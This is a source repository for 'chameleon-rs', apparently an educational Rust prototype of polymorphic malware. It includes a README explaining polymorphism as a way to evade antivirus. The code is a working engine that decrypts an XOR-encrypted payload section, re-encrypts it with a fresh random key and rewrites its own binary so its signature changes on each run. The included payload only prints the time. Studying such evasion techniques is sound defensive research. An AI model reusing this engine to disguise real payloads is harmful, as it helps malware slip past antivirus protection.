├── .dockerignore
├── .github
├── .DS_Store
└── assets
│ └── COVER.png
├── .gitignore
├── Cargo.toml
├── Dockerfile
├── LICENSE
├── README.md
└── polymorphic
├── Cargo.toml
├── README.md
└── src
├── core.rs
├── main.rs
└── toxic.rs
/.dockerignore:
--------------------------------------------------------------------------------
1 | ./target
2 | ./dockerignore
3 | .gitignore
4 | Dockerfile
5 | README.md
--------------------------------------------------------------------------------
/.github/.DS_Store:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/quartz-technology/chameleon-rs/ec11aa6c29b1cc4ed99f1c53bdf90f7769ab6cb3/.github/.DS_Store
--------------------------------------------------------------------------------
/.github/assets/COVER.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/quartz-technology/chameleon-rs/ec11aa6c29b1cc4ed99f1c53bdf90f7769ab6cb3/.github/assets/COVER.png
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | # Generated by Cargo
2 | # will have compiled files and executables
3 | debug/
4 | target/
5 |
6 | # Remove Cargo.lock from gitignore if creating an executable, leave it for libraries
7 | # More information here https://doc.rust-lang.org/cargo/guide/cargo-toml-vs-cargo-lock.html
8 | Cargo.lock
9 |
10 | # These are backup files generated by rustfmt
11 | **/*.rs.bk
12 |
13 | # MSVC Windows builds of rustc generate these, which store debugging information
14 | *.pdb
15 |
16 | # IDEA
17 | .idea/
--------------------------------------------------------------------------------
/Cargo.toml:
--------------------------------------------------------------------------------
1 | [workspace]
2 |
3 | members = [
4 | "polymorphic"
5 | ]
6 |
--------------------------------------------------------------------------------
/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM rust:1.72.1
2 |
3 | WORKDIR /app
4 |
5 | COPY . .
6 |
7 | RUN cargo build
8 |
9 | ENTRYPOINT ["/bin/bash"]
10 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2023 Quartz Technology
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 |
chameleon-rs
2 |
3 |
4 |
5 |
6 |
7 |
8 | Prototypes on polymorphic, metamorphic and poly-metamorphic malwares in Rust.
9 |
10 | ## Disclaimer
11 |
12 | This project is for educational purposes only.
13 | It has been made to get a better understanding of polymorphic and metamorphic code concepts.
14 |
15 | Quartz and its members are not responsible for your usage of this project.
16 |
17 | ## Acknowledgments
18 |
19 | This project is inspired by the great work of the PoC Innovation team on the [WhiteComet-Research](https://github.com/pocinnovation/whitecomet-research)
20 | project.
21 |
22 | Go check their work as well as their other projects to learn more about innovative topics!
23 |
24 | ## Introduction
25 |
26 | A unique yet very elegant technique for a malware to avoid being detected by anti-viruses is to
27 | alter its signature.
28 |
29 | There are many ways to achieve this:
30 | - **Polymorphism**: The dedicated page on Wikipedia explains the concept very well, "_the code changes itself
31 | every time it runs, but the function of the code (its semantics) will not change at all_".
32 |
33 |
34 | - **Metamorphism**: When the malware edits and rewrites its own code each time it is run. Here
35 | the semantics changes, but the injected code can be composed of [NOPs](https://en.wikipedia.org/wiki/NOP_(code))
36 | only.
37 |
38 |
39 | - **Poly-Metamorphism**: Combining both previous techniques, the malware will change **and**
40 | encrypt its own code each time it is run.
41 |
42 | In this project, `chameleon-rs`, we developed prototypes for each one of the techniques
43 | described above.
44 |
45 | To make things more challenging, we used the Rust programming language to demonstrate the
46 | capacity of using modern tools with a lot of external support available.
47 | That is, shaping malwares that could use modern third-party libraries (the Rust crates).
48 |
49 | ## Getting Started
50 |
51 | To be able to test all the malwares on all platforms, we wrote a [Dockerfile](./Dockerfile) for
52 | a simple container which builds the binaries.
53 |
54 | You can build and run it using the following commands:
55 | ```shell
56 | docker build . -t chameleon-rs
57 | docker run --rm -it chameleon-rs
58 | ```
59 |
60 | Once in the container, execute the malware as many times as you wish. In the following example,
61 | we compute the sha256 hash for the binary (which must change between each execution):
62 | ```shell
63 | # Initial binary hash.
64 | sha256sum ./target/debug/polymorphic #549a821e28b6dd03e6d430852447d6f7b425f2e26da3eab49e044c86a53cf59b
65 |
66 | # Execute the binary for the first time.
67 | ./target/debug/polymorphic
68 |
69 | # New binary hash, malware signature has changed.
70 | sha256sum ./target/debug/polymorphic #e0479c6b7d2af8b5f6ccf55561e4ba400653450dccd8871f8b558fcf29fa1cb3
71 | ```
72 |
73 | ### Polymorphic Malware
74 |
75 | > The sources for this prototype are available in the [`polymorphic`](./polymorphic) folder.
76 |
77 | Want to learn more about how it works ? Check out the dedicated [README](./polymorphic/README.md) file !
78 |
79 | ### Metamorphic Malware
80 |
81 | > Coming soon !
82 |
83 | ### Poly-Metamorphic Malware
84 |
85 | > Coming soon !
86 |
87 | ## Conclusion
88 |
89 | We learned a lot during the development of those prototypes.
90 | Go on and take a look at the code, try to understand what it does, how things could be improved,
91 | invent new ways to prevent those attacks.
92 |
93 | ## Authors
94 |
95 | Made with 🔐 and ❤️ by the 🦎 at [Quartz](https://quartz.technology).
--------------------------------------------------------------------------------
/polymorphic/Cargo.toml:
--------------------------------------------------------------------------------
1 | [package]
2 | name = "polymorphic"
3 | version = "0.1.0"
4 | edition = "2021"
5 |
6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
7 |
8 | [dependencies]
9 | object = "0.32.1"
10 | libc = "0.2.148"
11 | rand = "0.8.5"
--------------------------------------------------------------------------------
/polymorphic/README.md:
--------------------------------------------------------------------------------
1 | # Polymorphic Malware
2 |
3 | ## What it does
4 |
5 | For this first prototype, we developed a program able to run a harmless payload.
6 | It will do the following:
7 | 1. Decrypt the part of the code marked as toxic (the payload). For this example, we used XOR
8 | encryption using a key embedded in the binary.
9 | 2. Execute the payload (print the current time).
10 | 3. Create a new random key.
11 | 4. Encrypt the payload using the new key and overwrite the toxic section in the binary.
12 | 5. Overwrite the new key in the binary.
13 |
14 | ## How it works
15 |
16 | A few question might arise from those explanations:
17 | - **How can someone mark a section of the code as toxic ?**
18 |
19 | Using attributes, we can make sure that elements of the code (functions, variables) can be
20 | placed at a specific location in the binary during the program build process.
21 |
22 |
23 | - **What does it mean for the XOR key to be embedded in the binary ?**
24 |
25 | Nothing very complicated ! The key is also placed in a dedicated section of the code named `.key`
26 | whereas the payload in stored in the `.toxic` one.
27 | So, the same way that the payload function code can be overwritten, the key variable can be
28 | changed.
29 |
30 |
31 | - **Are there any kind of protections against this technique ?**
32 |
33 | One unexpected protection we faced and could not overcome during the development was specific
34 | to macOS platforms. You see, macOS refuses to execute code that might set specific sections of
35 | the code writeable, something required to overwrite the payload's code.
36 |
37 | Using more usual processes, we can reverse engineer the binary to inspect its structure and
38 | behaviour, try to run it in a sandbox environment and check the before and after binary's
39 | content, maybe use machine learning...
--------------------------------------------------------------------------------
/polymorphic/src/core.rs:
--------------------------------------------------------------------------------
1 | use std::{env, fs};
2 | use std::path::PathBuf;
3 | use libc::{_SC_PAGESIZE, c_int, c_void, mprotect, PROT_EXEC, PROT_READ, PROT_WRITE, sysconf};
4 | use object::{File, Object, ObjectSection};
5 | use rand::{RngCore, thread_rng};
6 | use crate::toxic::XOR_KEY;
7 |
8 | pub struct PolymorphicEngine {
9 | exe_path: PathBuf,
10 | tmp_path: PathBuf,
11 | tmp_data: Vec,
12 | }
13 |
14 | impl PolymorphicEngine {
15 | pub fn new() -> PolymorphicEngine {
16 | let exe_path = env::current_exe().unwrap();
17 | let tmp_path = exe_path.with_extension("tmp");
18 |
19 | fs::copy(&exe_path, &tmp_path).unwrap();
20 |
21 | let tmp_data = fs::read(&tmp_path).unwrap();
22 |
23 | PolymorphicEngine {
24 | exe_path,
25 | tmp_path,
26 | tmp_data,
27 | }
28 | }
29 |
30 | pub fn run(&mut self, payload: fn()) {
31 | let tmp_data_cpy = self.tmp_data.clone();
32 | let tmp_file = File::parse(tmp_data_cpy.as_slice()).unwrap();
33 |
34 | let section_toxic = tmp_file.section_by_name(".toxic").unwrap();
35 |
36 | self.set_protections_to_memory_region(
37 | payload as usize,
38 | section_toxic.size() as usize,
39 | PROT_READ | PROT_EXEC | PROT_WRITE,
40 | );
41 |
42 | self.decrypt_memory_region(
43 | payload as usize,
44 | section_toxic.size() as usize,
45 | );
46 |
47 | self.decrypt_binary_region(
48 | section_toxic.file_range().unwrap().0 as usize,
49 | section_toxic.size() as usize,
50 | );
51 |
52 | self.set_protections_to_memory_region(
53 | payload as usize,
54 | section_toxic.size() as usize,
55 | PROT_READ | PROT_EXEC,
56 | );
57 |
58 | let section_key = tmp_file.section_by_name(".key").unwrap();
59 |
60 | self.randomize_binary_region(
61 | section_key.file_range().unwrap().0 as usize,
62 | section_key.size() as usize,
63 | );
64 |
65 | self.encrypt_binary_region(
66 | section_toxic.file_range().unwrap().0 as usize,
67 | section_toxic.size() as usize,
68 | );
69 |
70 | payload();
71 | self.save_changes()
72 | }
73 |
74 | fn set_protections_to_memory_region(&self, region_start: usize, region_size: usize, protections: c_int) {
75 | let region_end = region_start + region_size;
76 |
77 | unsafe {
78 | let page_size = sysconf(_SC_PAGESIZE);
79 | let page_start = region_start & -page_size as usize;
80 | let len = region_end - page_start;
81 |
82 | let _res = mprotect(page_start as *mut c_void, len, protections);
83 | }
84 | }
85 |
86 | fn decrypt_memory_region(&self, region_start: usize, region_size: usize) {
87 | let region_start_pointer = region_start as *mut u8;
88 |
89 | unsafe {
90 | for i in 0..region_size {
91 | *(region_start_pointer).offset(i as isize) ^= XOR_KEY[i];
92 | }
93 | }
94 | }
95 |
96 | fn decrypt_binary_region(&mut self, region_start: usize, region_size: usize) {
97 | self.xor_binary_region(region_start, region_size)
98 | }
99 |
100 | fn encrypt_binary_region(&mut self, region_start: usize, region_size: usize) {
101 | self.xor_binary_region(region_start, region_size)
102 | }
103 |
104 | fn xor_binary_region(&mut self, region_start: usize, region_size: usize) {
105 | unsafe {
106 | self.tmp_data[region_start..region_start+region_size]
107 | .iter_mut()
108 | .zip(&XOR_KEY[0..region_size])
109 | .for_each(|(a, b)| *a ^= b)
110 | }
111 | }
112 |
113 | fn randomize_binary_region(&mut self, region_start: usize, region_size: usize) {
114 | let mut rng = thread_rng();
115 |
116 | unsafe {
117 | rng.fill_bytes(&mut XOR_KEY);
118 |
119 | self.tmp_data[region_start..region_start+region_size].copy_from_slice(&XOR_KEY[0..region_size]);
120 | }
121 | }
122 |
123 | fn save_changes(&self) {
124 | let exe_permissions = fs::metadata(&self.exe_path).unwrap().permissions();
125 |
126 | fs::write(&self.tmp_path, &self.tmp_data).unwrap();
127 | fs::set_permissions(&self.tmp_path, exe_permissions).unwrap();
128 | fs::rename(&self.tmp_path, &self.exe_path).unwrap()
129 | }
130 | }
--------------------------------------------------------------------------------
/polymorphic/src/main.rs:
--------------------------------------------------------------------------------
1 | use crate::toxic::payload;
2 |
3 | mod core;
4 | mod toxic;
5 |
6 | fn main() {
7 | let mut pe = core::PolymorphicEngine::new();
8 |
9 | pe.run(payload)
10 | }
11 |
--------------------------------------------------------------------------------
/polymorphic/src/toxic.rs:
--------------------------------------------------------------------------------
1 | use std::time::SystemTime;
2 |
3 | #[link_section = ".key"]
4 | pub static mut XOR_KEY: [u8; 132] = [0;132];
5 |
6 | #[link_section = ".toxic"]
7 | pub fn payload() {
8 | let start = SystemTime::now();
9 |
10 | println!("PAYLOAD EXECUTED AT {:?}", start);
11 | }
12 |
--------------------------------------------------------------------------------